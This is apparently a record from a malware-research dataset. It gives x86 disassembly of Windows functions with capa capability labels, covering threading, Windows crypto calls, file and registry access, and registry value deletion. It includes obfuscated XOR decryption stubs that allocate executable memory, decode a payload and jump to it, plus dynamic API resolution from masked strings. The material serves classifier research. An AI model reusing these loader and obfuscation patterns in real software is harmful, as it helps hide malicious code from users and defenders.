joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1009b454
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x1014fef1
call fcn.10147df8
mov esi, ecx
mov dword [ebp - 0x14], esi
call fcn.1008f6dc
xor ebx, ebx
mov dword [esi], vtable.ScObjects::Thread.0
push 0x10
mov dword [ebp - 4], ebx
mov dword [esi + 0x10], ebx
mov byte [esi + 0x14], bl
call fcn.10106013
mov dword [ebp - 0x14], eax
pop ecx
test eax, eax
je 0x1009b49b
mov dword [eax], vtable.ScObjects::ThreadData.0
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
jmp 0x1009b49d
mov eax, ebx
mov dword [esi + 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push 0x1009b680
push ebx
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ecx, eax
add esp, 0x18
cmp ecx, 0xffffffff
jne 0x1009b4d0
mov eax, dword [esi + 8]
mov dword [esi + 0x10], 0x20
mov dword [esi + 0xc], ebx
mov dword [eax + 4], ebx
jmp 0x1009b4dc
mov eax, dword [ebp - 0x10]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov dword [eax + 4], ecx
mov eax, esi
call fcn.10147dc1
ret

Function at 0x1009b790
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0x10], 0
jne 0x1009b7a2
mov eax, dword [ecx + 8]
push dword [eax + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x100a1d60
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0x2c
mov eax, 0x10150bd0
call fcn.10147e2c
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x38], esi
mov ecx, esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], edi
call fcn.1009b955
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], 1
call fcn.100a1e88
test eax, eax
jne 0x100a1da4
push 0xffffffffffffffff
push 0x10159980
mov ecx, esi
call fcn.10106013
jmp 0x100a1dea
lea ecx, [ebp - 0x20]
push ecx
push 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, esi
push 0xffffffffffffffff
push 0x10159980
test eax, eax
je 0x100a1d9d
call fcn.10106013
movzx eax, byte [ebp + edi - 0x20]
push eax
lea eax, [ebp - 0x30]
push 0x10165c80
push eax
call fcn.10106013
lea eax, [ebp - 0x30]
push eax
push esi
call fcn.10106013
add esp, 0x14
inc edi
cmp edi, 0x10
jb 0x100a1dc3
mov eax, esi
call fcn.10147dd6
ret

Function at 0x100a1e88
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push esi
mov esi, dword [0x107d4410]
test esi, esi
jne 0x100a1edc
push edi
push esi
push 1
push esi
push esi
mov edi, 0x107d4410
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x100a1ed5
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x100a1ed5
push 8
push 1
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x100a1ed5
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [0x107d4410], esi
jmp 0x100a1edb
mov esi, dword [0x107d4410]
pop edi
mov eax, esi
pop esi
ret
Function at 0x100a2070
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push 0x54
mov eax, 0x10150c7f
call fcn.10147e2c
mov ebx, dword [ebp + 8]
xor eax, eax
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], eax
call fcn.100a1e88
and dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.1009b955
mov ecx, ebx
mov dword [ebp - 4], 1
call fcn.1009b955
push edi
mov eax, 0x10165d08
mov dword [ebp - 0x44], 1
push eax
push esi
push eax
push edi
push ebx
call fcn.10106013
pop ecx
pop ecx
push eax
call fcn.10106013
pop ecx
pop ecx
push eax
call fcn.10106013
pop ecx
pop ecx
push eax
call fcn.10106013
pop ecx
pop ecx
push eax
call fcn.10106013
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
test eax, eax
jne 0x100a2105
push 0xffffffffffffffff
push 0x10159980
mov ecx, ebx
call fcn.10106013
jmp 0x100a21c1
lea ecx, [ebp - 0x3c]
xor esi, esi
push ecx
push esi
push esi
push 0x8003
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100a20f2
push esi
push dword [ebx + 8]
push dword [ebx + 4]
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100a20f2
push 4
pop ecx
push esi
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x40], esi
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x4c], ecx
push eax
push ecx
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x100a20f2
push dword [ebp - 0x40]
call fcn.10106013
mov edi, eax
pop ecx
test edi, edi
je 0x100a20f2
push esi
lea eax, [ebp - 0x40]
push eax
push edi
push 2
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov ecx, ebx
push 0xffffffffffffffff
push 0x10159980
test eax, eax
jne 0x100a2185
call fcn.10106013
jmp 0x100a21ba
call fcn.10106013
cmp dword [ebp - 0x40], esi
jbe 0x100a21ba
cmp esi, 0x28
jae 0x100a21ba
movzx eax, byte [esi + edi]
push eax
lea eax, [ebp - 0x38]
push 0x10165c80
push eax
call fcn.10106013
lea eax, [ebp - 0x38]
push eax
push ebx
call fcn.10106013
add esp, 0x14
inc esi
cmp esi, dword [ebp - 0x40]
jb 0x100a218f
push edi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
pop ecx
cmp dword [ebp - 0x3c], 0
je 0x100a21d0
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea ecx, [ebp - 0x60]
call fcn.10106013
mov eax, ebx
call fcn.10147dd6
ret
Function at 0x100afdae
Capabilities:
Create mailslot

Disassembly:
push 0x14
mov eax, 0x10152d8e
call fcn.10147df8
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [0x10191e8c]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100ab64a
xor ebx, ebx
mov dword [esi], vtable.WinInterAppStream.0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.1009b955
lea eax, [esi + 0x40]
mov byte [ebp - 4], 1
push eax
lea eax, [esi + 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.10106013
pop ecx
pop ecx
push eax
call fcn.10106013
push 0xc
lea edi, [esi + 0x56]
push ebx
push edi
call sub.VCRUNTIME140.dll_memset
push edi
mov ecx, ebx
call fcn.10106013
add esp, 0x18
test al, al
je 0x100afe21
cmp dword [esi + 0x5a], ebx
cmovne ecx, edi
push ecx
push ebx
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_CreateMailslotA]
lea ecx, [ebp - 0x20]
mov dword [esi + 0x52], eax
call fcn.10106013
mov eax, esi
call fcn.10147dc1
ret 8

Function at 0x100affb0
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x101509dd
call fcn.10147df8
mov esi, ecx
push esi
lea ecx, [ebp - 0x1c]
call fcn.1008f6a9
and dword [ebp - 4], 0
lea eax, [esi + 0x30]
push eax
lea ecx, [ebp - 0x2c]
call fcn.1009b803
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
push dword [eax + 8]
push dword [eax + 4]
call fcn.10106013
push 0
xor ecx, ecx
lea eax, [esi + 0x56]
cmp dword [esi + 0x5a], ecx
push 0x80
push 3
cmovne ecx, eax
push ecx
push ebx
push 0x40000000
push dword [ebp - 0x28]
call dword [sym.imp.kernel32.dll_CreateFileA]
and dword [ebp - 0x10], 0
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x100b004b
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
push 0
push ecx
push dword [edi + 8]
push dword [edi + 4]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x100b004b
mov eax, dword [ebp - 0x10]
cmp eax, dword [edi + 8]
je 0x100b004d
xor bl, bl
lea ecx, [ebp - 0x2c]
call fcn.10106013
lea ecx, [ebp - 0x1c]
call fcn.10106013
mov al, bl
call fcn.10147dc1
ret 8
Function at 0x10106013
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10106022
pop dword [ebp - 0x38]
mov eax, 0x10106022
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xc6bbdb5f
sub dword [ebp - 0x48], 0x78699614
mov dword [ebp - 0x44], 0x4d3f1072
add dword [ebp - 0x44], 0xe4f43bd3
mov dword [ebp - 0x40], 0x8938711e
sub dword [ebp - 0x40], 0x3cec2cf0
mov dword [ebp - 0x3c], 0x34d4e664
sub dword [ebp - 0x3c], 0x34d4e664
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x3bd8ebb0
sub dword [ebp - 0x48], 0xc766825a
mov dword [ebp - 0x44], 0x162cd348
add dword [ebp - 0x44], 0x2b3f8e2d
mov dword [ebp - 0x40], 0xf82c1c94
add dword [ebp - 0x40], 0x6b434fd8
mov dword [ebp - 0x3c], 0x676539bf
sub dword [ebp - 0x3c], 0x676539bf
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x44ede3a3
add eax, 0xcb276ef9
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x6ff38
push 0
call eax
mov ecx, 0xe8c81809
add ecx, 0x17382398
mov esi, eax
mov edx, 0x8a35043c
sub edx, 0x79b6403c
add edx, dword [ebp - 0x38]
mov edi, 0x17da3abf
sub edi, 0xd431e368
add dword [ebp - 0x24], eax
mov ebx, dword [edx]
add dword [ebp - 0x34], esi
add ebx, edi
sub dword [ebp - 4], ecx
mov dword [esi], ebx
xor dword [ebp - 0x14], ecx
add esi, 0xbfe38492
add esi, 0x401c7b72
add edx, 0xd9890af5
sub edx, 0xd9890af1
loop 0x1010613a
add eax, 0xe157
xor ebx, ebx
add ebx, eax
add eax, 0xfe84c042
add eax, 0x17b3fc3
mov ecx, 0xe817950f
sub ecx, 0xd817950f
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x10127680
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1012771b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x101276d2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x101276d2
cmp esi, ebx
jge 0x101276d2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x10127715
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x10127715
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x10155aa8]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x10155aa8]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1012772d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x10127950
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
mov eax, dword [ebp + 8]
je 0x10127978
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x10127992
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10106013
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10147db0
leave
ret 4

Function at 0x10127b60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x10127b96
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x10127bf5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10106013
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10106013
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10106013
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10147db0
leave
ret 0x10
Function at 0x10127c10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d44f4], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x10127c3c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x10127c6d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x10127c6b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10106013
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x10127c6d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10147db0
leave
ret 8
Function at 0x10136c00
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x101975e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
xor ebx, ebx
inc edx
mov edi, dword [esi]
cmp dword [edi + 0x254], ebx
je 0x10136c60
cmp dword [edi + 0x264], ebx
je 0x10136c59
cmp byte [0x107d44f4], 0
push edi
push dword [edi + 0x250]
je 0x10136c48
call dword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x10136c4e
call dword [sym.imp.kernel32.dll_FindNextFileA]
mov ecx, dword [esi]
xor edx, edx
inc edx
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
jmp 0x10136d40
mov eax, dword [edi + 0x25c]
test eax, eax
je 0x10136dcf
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
pop ecx
pop ecx
mov ecx, dword [esi]
cmp dword [ecx + 0x260], ebx
je 0x10136cae
lea eax, [ebp - 0x234]
push eax
call fcn.10106013
mov eax, dword [esi]
push dword [eax + 0x260]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
mov ecx, dword [esi]
add esp, 0xc
test byte [ecx + 0x268], 1
push 0x10
pop eax
lea edx, [eax + 0x70]
cmove eax, edx
mov dword [ecx], eax
cmp byte [0x107d44f4], 0
je 0x10136cda
push dword [esi]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
jmp 0x10136cfc
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.10106013
push dword [esi]
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x250], eax
xor eax, eax
mov ecx, dword [esi]
cmp dword [ecx + 0x250], 0xffffffff
setne al
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10136d2a
mov dword [eax + 0x250], ebx
mov eax, dword [esi]
xor edx, edx
inc edx
mov dword [eax + 0x254], edx
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10136d40
mov dword [esi + 4], edx
mov ecx, eax
cmp dword [eax + 0x264], ebx
je 0x10136d67
cmp byte [0x107d44f4], 0
jne 0x10136d67
push dword [eax + 0x258]
add eax, 0x2c
push eax
call fcn.10106013
mov ecx, dword [esi]
xor edx, edx
inc edx
mov eax, dword [ecx]
mov dword [ecx + 0x26c], eax
mov edi, dword [esi]
mov ebx, dword [edi + 0x26c]
shr ebx, 4
and ebx, edx
je 0x10136d9c
push esi
xor ebx, ebx
call fcn.10106013
xor edx, edx
inc edx
cmp word [eax], 0x2e
je 0x10136d98
test byte [edi + 0x268], 3
jne 0x10136da6
mov ebx, edx
jmp 0x10136da6
test byte [edi + 0x268], 1
cmovne ebx, edx
mov eax, dword [edi + 0x264]
test eax, eax
je 0x10136dca
push 0
test ebx, ebx
pop ebx
jne 0x10136c20
test byte [edi + 0x26c], 2
jne 0x10136c20
test eax, eax
setne al
jmp 0x10136dd1
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10147db0
leave
ret 4
Function at 0x433002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2b556f71
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3238673d
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push 0x40f244
call fcn.00403434
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, 0x40f967
push eax
push ebx
call fcn.00403464
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c3e8
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.00403434
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
je 0x401268
push str.KCuYI
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push str._QUIsQ
call fcn.00403434
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401284
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp + 0xc]
push esi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, 0x400
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012b8
xor eax, eax
jmp 0x4013a4
push ebx
push edi
mov edi, 0x40f967
push 0
push edi
call fcn.00403464
pop ecx
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x401397
cmp dword [ebp - 0x10], 1
je 0x40130f
and byte [ebp - 0x814], al
lea eax, [ebp - 0x414]
push eax
call fcn.0040c3e8
lea eax, [ebp - 0x814]
push eax
call fcn.0040c3e8
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jle 0x40138f
push ebx
push edi
call fcn.00403434
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x401379
push dword [ebp - 0x14]
lea eax, [ebp - 0x814]
push eax
call fcn.00403b7d
pop ecx
test eax, eax
pop ecx
jne 0x401379
lea eax, [ebp - 0x414]
push str.____
push eax
call fcn.00407280
pop ecx
test eax, eax
pop ecx
jne 0x401389
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x40132f
inc dword [ebp - 4]
jmp 0x4012cc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret 8
Function at 0x4048cb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491e88], 0
jne 0x404906
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x4047fd
push eax
push closesocket
call fcn.00404562
add esp, 0x18
jmp 0x404942
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491a78
call fcn.00407370
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x404769
push eax
push closesocket
call fcn.004045e0
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491e8c], eax
jne 0x404a23
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str.5IGM
push eax
call fcn.00407370
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.00407460
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c5cc
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407370
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.00407380
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a00
inc esi
cmp esi, 0xa
jl 0x404967
lea eax, [ebp - 0x18]
push eax
push 0x491974
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
push 0x491b7c
call fcn.00407370
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b78
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bb3
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bb3
cmp byte [ecx + 1], 0x5a
jne 0x404bb3
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bb3
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4053ac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.00404687
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d84
call fcn.00407310
push esi
push edi
push 0x491c80
call fcn.00407310
push esi
push edi
push 0x491b7c
call fcn.00407310
push esi
push edi
push 0x491a78
call fcn.00407310
push esi
push edi
push 0x491974
call fcn.00407310
add esp, 0x40
push 0x40e0d0
push 0x1eac
push 0x40e0d4
call fcn.00403529
push 0x491e90
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491e98], edi
mov dword [0x491e88], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x40546c
cmp dword [ebp - 0x8c], ebx
jne 0x40546c
mov dword [0x491e98], ebx
call fcn.004048cb
mov esi, 0x7d000
push esi
call fcn.00407baf
cmp eax, edi
pop ecx
mov dword [0x491970], eax
jne 0x40548a
xor eax, eax
jmp 0x4054ae
push esi
push edi
push eax
call fcn.00407310
call fcn.0040556c
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.004052d3
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40556c
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str.KCuYI
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str._QUIsQ
je 0x4055d1
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491ea0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491e9c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea4], eax
push 3
push str.KCuYI
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x4055fb
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea8], eax
mov edi, str.uIGIGQs
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40561c
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491eac], eax
pop edi
pop esi
pop ebp
pop ebx
ret